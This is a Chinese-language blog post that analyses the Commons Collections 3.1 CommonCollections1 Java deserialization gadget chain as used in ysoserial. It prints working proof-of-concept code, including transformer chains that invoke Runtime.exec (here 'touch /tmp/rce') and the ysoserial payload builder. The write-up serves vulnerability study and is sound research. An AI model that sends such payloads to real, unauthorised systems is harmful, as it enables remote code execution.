Java 反序列化之 CommonCollections1 分析
2020-02-27 03:06:56 Author: blog.kaibro.tw(查看原文) 阅读量:37 收藏

前言

Common Collections 反序列化漏洞歷史在上一篇文章中有稍微提過

這個漏洞在 2015 年時,對整個 Java 生態系造成不小的影響

後續也愈來愈多奇形怪狀的 Gadget chain 被大佬們一一挖出來

而本篇文章就以 ysoserial 中經典的 CommonCollections1 這條 Gadget chain 來做分析

雖然網路上類似本篇的分析文很多,但只看文章其實很難體會到 java gadget chain 裡頭的精髓

強烈建議大家有興趣、有時間的話,可以自己拉原始碼下來跟一遍,相信可以收穫更多 !

p.s. 這裡我分析的版本是 Common Collections 3.1JDK 8

簡介

Apache Common Collections 主要是一個用來擴充原生 Java Collection 的一個第三方 Library

(簡單說,就是一個擴充包的概念)

而 Collection 基本上就可以視為是 Set, List, Queue 等類別的抽象概念

所以 Common Collections 中提供了許多方式,能讓我們對這些 Collection 做操作

或是對各種資料結構做封裝、抽象化,簡化原本 JDK 中複雜的操作方式

例如後面會提到的各種 Transformer,最主要就是用來對這些 Collection 做內容轉換的

也因為它的方便性和實用性,所以許多框架預設都有引用這個 Library

導致一旦底層 Library 出問題,上面所有框架都會接連一起爆炸

分析

先從 Transformer 開始看:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

public interface Transformer {

* Transforms the input object (leaving it unchanged) into some output object.

*

* @param input the object to be transformed, should be left unchanged

* @return a transformed object

* @throws ClassCastException (runtime) if the input is the wrong class

* @throws IllegalArgumentException (runtime) if the input is invalid

* @throws FunctorException (runtime) if the transform cannot be completed

*/

public Object transform(Object input);

}

它是一個接口,主要用處就如同字面上的意思,是用來對輸入的物件做轉換

裡面最重要的就是 transform() 方法,我們後面會一直用到它!

接著來看幾個串 gadget chain 時會用到的 transformer 類別

一、 ConstantTransformer

1

2

3

4

5

6

7

8

9

10

11

12

13

public class ConstantTransformer implements Transformer, Serializable {

...

public ConstantTransformer(Object constantToReturn) {

super();

iConstant = constantToReturn;

}

public Object transform(Object input) {

return iConstant;

}

...

}

這個類別的 transform() 方法實作非常簡潔,直接吐回我們在呼叫 constructor 時設定的物件

也就是我們輸入的物件,沒有經過任何轉換操作就直接返回

二、 InvokerTransformer

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

public class InvokerTransformer implements Transformer, Serializable {

...

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {

super();

iMethodName = methodName;

iParamTypes = paramTypes;

iArgs = args;

}

public Object transform(Object input) {

if (input == null) {

return null;

}

try {

Class cls = input.getClass();

Method method = cls.getMethod(iMethodName, iParamTypes);

return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {

...

}

}

...

}

InvokerTransformertransform() 方法會透過反射,呼叫物件的方法

而值得注意的是,方法名、參數等都是我們在 constructor 中可控的,所以我們可以對輸入的 input 物件,做任意方法呼叫!

三、 ChainedTransformer

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

public class ChainedTransformer implements Transformer, Serializable {

...

public ChainedTransformer(Transformer[] transformers) {

super();

iTransformers = transformers;

}

public Object transform(Object object) {

for (int i = 0; i < iTransformers.length; i++) {

object = iTransformers[i].transform(object);

}

return object;

}

...

}

ChainedTransformer 這個類別就有意思了,iTransformers 是一個 transformer 陣列,我們一樣可以透過 constructor 設定它

這裡 transform() 方法,會去對 iTransformers 中每一個 transformer 去呼叫其對應的 transfomr() 方法 !

也就是前一個 Transformer transform() 完的結果,會被當成下一個 Transformer transform() 的輸入

所以就能串成一個 transformer chain

到目前為止,這幾個 transformer 實際上組合一下,就已經能變成一個任意代碼執行了 !

1

2

3

4

5

6

7

8

9

10

public static void main(String args[]) {

Transformer[] transformer_arr = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),

new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})

};

Transformer chain = new ChainedTransformer(transformer_arr);

chain.transform(chain);

}

但只有這樣是不夠的

目前我們是手動建立 transformer,並手動呼叫 ChainedTransformer.transform() 方法來觸發整個 gadget chain

我們需要一個能夠自動去觸發 transform() 的方法

先來看 TransformedMap 這個類別 :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

* Decorates another <code>Map</code> to transform objects that are added.

* <p>

* The Map put methods and Map.Entry setValue method are affected by this class.

* Thus objects must be removed or searched for using their transformed form.

* For example, if the transformation converts Strings to Integers, you must

* use the Integer form to remove objects.

* <p>

* This class is Serializable from Commons Collections 3.1.

*

* @since Commons Collections 3.0

* @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $

*

* @author Stephen Colebourne

*/

public class TransformedMap

extends AbstractInputCheckedMapDecorator

implements Serializable {

private static final long serialVersionUID = 7023152376788900464L;

protected final Transformer keyTransformer;

protected final Transformer valueTransformer;

* Factory method to create a transforming map.

* <p>

* If there are any elements already in the map being decorated, they

* are NOT transformed.

*

* @param map the map to decorate, must not be null

* @param keyTransformer the transformer to use for key conversion, null means no conversion

* @param valueTransformer the transformer to use for value conversion, null means no conversion

* @throws IllegalArgumentException if map is null

*/

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {

return new TransformedMap(map, keyTransformer, valueTransformer);

}

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {

super(map);

this.keyTransformer = keyTransformer;

this.valueTransformer = valueTransformer;

}

...

可以看到這邊的 TransformedMap 繼承了抽象類別 AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator 又繼承了抽象類別 AbstractMapDecorator

這個 AbstractMapDecorator 實際上實作了 JDK 的 Map interface

其中 TransformedMapkeyTransformervalueTransformer 對應 key 跟 value 改變時要做的操作

當 key 或 value 被修改時,就會去調用對應 Transformer 的 transform 方法

有很多地方都能夠觸發 keyTransformer.transform()valueTransformer.transform()

但為了後面漏洞利用能繼續串另一個 class,我們這裡採用的是 AbstractInputCheckedMapDecorator.entrySet() 這條路去觸發

首先,TransformedMap.decorate() 會回傳一個 TransformedMap

並且可以讓我們設定其中的 keyTransformervalueTransformer

所以這裡就能放我們前面串的那個 ChainedTransformer 當作 key 或 value 的 Transformer

接著我們看 AbstractInputCheckedMapDecorator.entrySet():

1

2

3

4

5

6

7

8

9

10

11

public Set entrySet() {

if (isSetValueChecking()) {

return new EntrySet(map.entrySet(), this);

} else {

return map.entrySet();

}

}

protected boolean isSetValueChecking() {

return true;

}

isSetValueChecking() 條件成立時,會用到內部類別 EntrySet:

1

2

3

4

5

6

7

8

9

10

static class EntrySet extends AbstractSetDecorator {

private final AbstractInputCheckedMapDecorator parent;

protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {

super(set);

this.parent = parent;

}

...

}

接著我們繼續看 AbstractInputCheckedMapDecorator$EntrySetiterator() 方法

1

2

3

public Iterator iterator() {

return new EntrySetIterator(collection.iterator(), parent);

}

iterator() 方法又去建立了一個內部類別 EntrySetIterator 的實例

你可能想問: 這裡沒地方用到這些方法,為啥要看它們呢?

因為後面會有另一個 class 有同時用到這些東西,所以我們後面會再把這些一起串起來 !

繼續看 AbstractInputCheckedMapDecorator$EntrySetIterator:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

static class EntrySetIterator extends AbstractIteratorDecorator {

private final AbstractInputCheckedMapDecorator parent;

protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {

super(iterator);

this.parent = parent;

}

public Object next() {

Map.Entry entry = (Map.Entry) iterator.next();

return new MapEntry(entry, parent);

}

}

next() 方法透過 iterator 去取得 Map.Entry 物件

接著 new 了一個 MapEntry 實例返回

繼續看這個 MapEntry:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

static class MapEntry extends AbstractMapEntryDecorator {

private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {

super(entry);

this.parent = parent;

}

public Object setValue(Object value) {

value = parent.checkSetValue(value);

return entry.setValue(value);

}

}

這裡關鍵是這個 setValue() 方法

可以看到它呼叫了 parent.checkSetValue(value)

這個 parent 其實就是 AbstractInputCheckedMapDecorator

而實作 checkSetValue() 方法是在 TransformedMap.checkSetValue() 這邊:

1

2

3

protected Object checkSetValue(Object value) {

return valueTransformer.transform(value);

}

終於,看到我們朝思暮想的 valueTransformer.transform(value) 了 !

所以我們就能把前面任意代碼執行的 Code,改成用 TransformedMapsetValue() 來觸發了:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

static void main(String args[]) {

Transformer[] transformer_arr = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),

new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})

};

Transformer chain = new ChainedTransformer(transformer_arr);

Map innerMap = new HashMap();

innerMap.put(null, null);

Map outerMap = TransformedMap.decorate(innerMap, null, chain);

Set set = outerMap.entrySet();

Iterator it = set.iterator();

Map.Entry ent = (Map.Entry) it.next();

ent.setValue(null);

}

但一樣還是沒解決自動觸發的問題,這裡仍然是我們手動去呼叫 setValue()

而且還有前面提過的 iterator(), next() 等方法,其實都是我們手動去執行的

需要找到一個 gadget 可以幫我們完成這些事情

而滿足我們要求的 gadget 就是下面要講的這個 sun.reflect.annotation.AnnotationInvocationHandler 類別:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

* InvocationHandler for dynamic proxy implementation of Annotation.

*

* @author Josh Bloch

* @since 1.5

*/

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

private static final long serialVersionUID = 6182022883658399397L;

private final Class<? extends Annotation> type;

private final Map<String, Object> memberValues;

...

private void readObject(java.io.ObjectInputStream s)

throws java.io.IOException, ClassNotFoundException {

s.defaultReadObject();

AnnotationType annotationType = null;

try {

annotationType = AnnotationType.getInstance(type);

} catch(IllegalArgumentException e) {

throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");

}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

String name = memberValue.getKey();

Class<?> memberType = memberTypes.get(name);

if (memberType != null) {

Object value = memberValue.getValue();

if (!(memberType.isInstance(value) ||

value instanceof ExceptionProxy)) {

memberValue.setValue(

new AnnotationTypeMismatchExceptionProxy(

value.getClass() + "[" + value + "]").setMember(

annotationType.members().get(name)));

}

}

}

}

...

}

可以看到 memberValues 就是一個 Map<String, Object>

readObject() 方法中,for 迴圈的寫法,實際上就恰巧用到了 iterator()next() !

1

2

3

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {

...

}

這裡的 for 迴圈背後,實際上大致等同於

1

2

3

4

for(Iterator iterator = memberValues.entrySet().iterator(); iterator.hasNext();) {

Map.Entry<String, Object> memberValue = iterator.next();

...

}

所以這裡我們就一口氣用到了剛剛沒串起來的 entrySet(), iterator(), next() !

最後面則去呼叫了 memberValue.setValue(...),導致我們整條 chain 被觸發 !

加上是 readObject() 方法的關係,所以反序列化時會自動呼叫該方法

自動觸發整個反序列化 gadget chain,達到任意代碼執行

打完收工 !

第二條路

其實如果你去看 ysoserial 的 code

會發現它用的其實不是 TransformedMap,而是走我們現在要講的 LazyMap 這條路

概念都大同小異,就是想辦法找條路去觸發 transformer 的 transform() 方法

先來看看初始化的部分:

1

2

3

4

5

6

7

8

9

10

11

public static Map decorate(Map map, Transformer factory) {

return new LazyMap(map, factory);

}

protected LazyMap(Map map, Transformer factory) {

super(map);

if (factory == null) {

throw new IllegalArgumentException("Factory must not be null");

}

this.factory = factory;

}

這裡 decorate() 一樣會去設定 Map 和 Transformer

而我們看一下 LazyMap.get():

1

2

3

4

5

6

7

8

9

public Object get(Object key) {

if (map.containsKey(key) == false) {

Object value = factory.transform(key);

map.put(key, value);

return value;

}

return map.get(key);

}

這裡直接就呼叫了 factory.transform(key)

所以我們只要想辦法透過 readObject() 去呼叫 LazyMap.get() 就能觸發整個反序列化 Chain

但事情沒那麼簡單,找不到那麼單純的 readObject() 可以直接呼叫 get() (至少我沒找到QQ)

CommonCollections1 的方式是透過 Dynamic Proxy 的方式去呼叫這個方法

代理模式:
是一種設計模式(Design Pattern)。簡單說,就是找一個代理人,然後把事情都丟給他做 (沒錯,就是進藤光跟佐為的關係)
而對於 java 靜態代理和動態代理不熟的讀者,推薦參考這篇文章

我們直接看 ysoserial 中構造 Payload 的方法:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {

return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);

}

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {

return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

}

public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {

final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);

allIfaces[ 0 ] = iface;

if ( ifaces.length > 0 ) {

System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);

}

return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));

}

public static Constructor<?> getFirstCtor(final String name) throws Exception {

final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];

setAccessible(ctor);

return ctor;

}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {

final Field field = getField(obj.getClass(), fieldName);

field.set(obj, value);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

public InvocationHandler getObject(final String command) throws Exception {

final String[] execArgs = new String[] { command };

final Transformer transformerChain = new ChainedTransformer(

new Transformer[]{ new ConstantTransformer(1) });

final Transformer[] transformers = new Transformer[] {

new ConstantTransformer(Runtime.class),

new InvokerTransformer("getMethod", new Class[] {

String.class, Class[].class }, new Object[] {

"getRuntime", new Class[0] }),

new InvokerTransformer("invoke", new Class[] {

Object.class, Object[].class }, new Object[] {

null, new Object[0] }),

new InvokerTransformer("exec",

new Class[] { String.class }, execArgs),

new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

return handler;

}

先來看 createMemoizedInvocationHandler() 中的這段:

1

(InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

上面這行就是對應到這段:

1

2

3

4

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {

this.type = type;

this.memberValues = memberValues;

}

所以 createMemoitizedProxy 實際上就是建立了一個 Map 介面的 Proxy (mapProxy)

並將 memberValues 設為 LazyMapAnnotationInvocationHandler

而下一行的 handler 則是建立 memberValuesmapProxyAnnotationInvocationHandler 物件

這個 handler 就是我們要反序列化觸發 gadget chain 的惡意物件 !

關鍵在於,AnnotationInvocationHandler 反序列化時,會去呼叫 readObject() 方法,並且其中又會去呼叫 memberValues.entrySet()

memberValues 是一個代理物件,就會去呼叫對應 handler 的 invoke() 方法

AnnotationInvocationHandler.invoke() 如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

public Object invoke(Object proxy, Method method, Object[] args) {

String member = method.getName();

Class<?>[] paramTypes = method.getParameterTypes();

if (member.equals("equals") && paramTypes.length == 1 &&

paramTypes[0] == Object.class)

return equalsImpl(args[0]);

assert paramTypes.length == 0;

if (member.equals("toString"))

return toStringImpl();

if (member.equals("hashCode"))

return hashCodeImpl();

if (member.equals("annotationType"))

return type;

Object result = memberValues.get(member);

...

會一直走到 memberValues.get(member)

也就對應到前面講的 LazyMap.get()

成功觸發反序列化 chain 執行 !

總結

這篇介紹了 CommonCollections1 的兩種 gadget chain

其中 LazyMap 的呼叫流程可以簡化成如下所示:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

ObjectInputStream.readObject()

AnnotationInvocationHandler.readObject()

Map(Proxy).entrySet()

AnnotationInvocationHandler.invoke()

LazyMap.get()

ChainedTransformer.transform()

ConstantTransformer.transform()

InvokerTransformer.transform()

Method.invoke()

Class.getMethod()

InvokerTransformer.transform()

Method.invoke()

Runtime.getRuntime()

InvokerTransformer.transform()

Method.invoke()

Runtime.exec()

這條 gadget chain 的關鍵在於動態代理的利用方式,第一次看時腦袋會比較難轉過來

而另一條 gadget chain 就相對沒那麼複雜,是透過串 Map Entry 的 iterator 各種操作到達 setValue() 觸發整條 chain 執行

本篇文章分析了 Common Collections 漏洞中非常經典的 CommonCollections1 這條 Gadget Chain

而以 Common Collections 來說,除了 CommonCollections1 以外,其實還有 CommonCollections2, 3, 4, 5, … 各種 chain

如果我有時間的話,也許未來會再分析看看其他條 chain (吧)

不知不覺又寫了一篇 Java,感覺繼續下去也許有機會變成一系列 Java 大合集 (?


文章来源: http://blog.kaibro.tw/2020/02/27/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCommonCollections1%E5%88%86%E6%9E%90/
如有侵权请联系:admin#unsafe.sh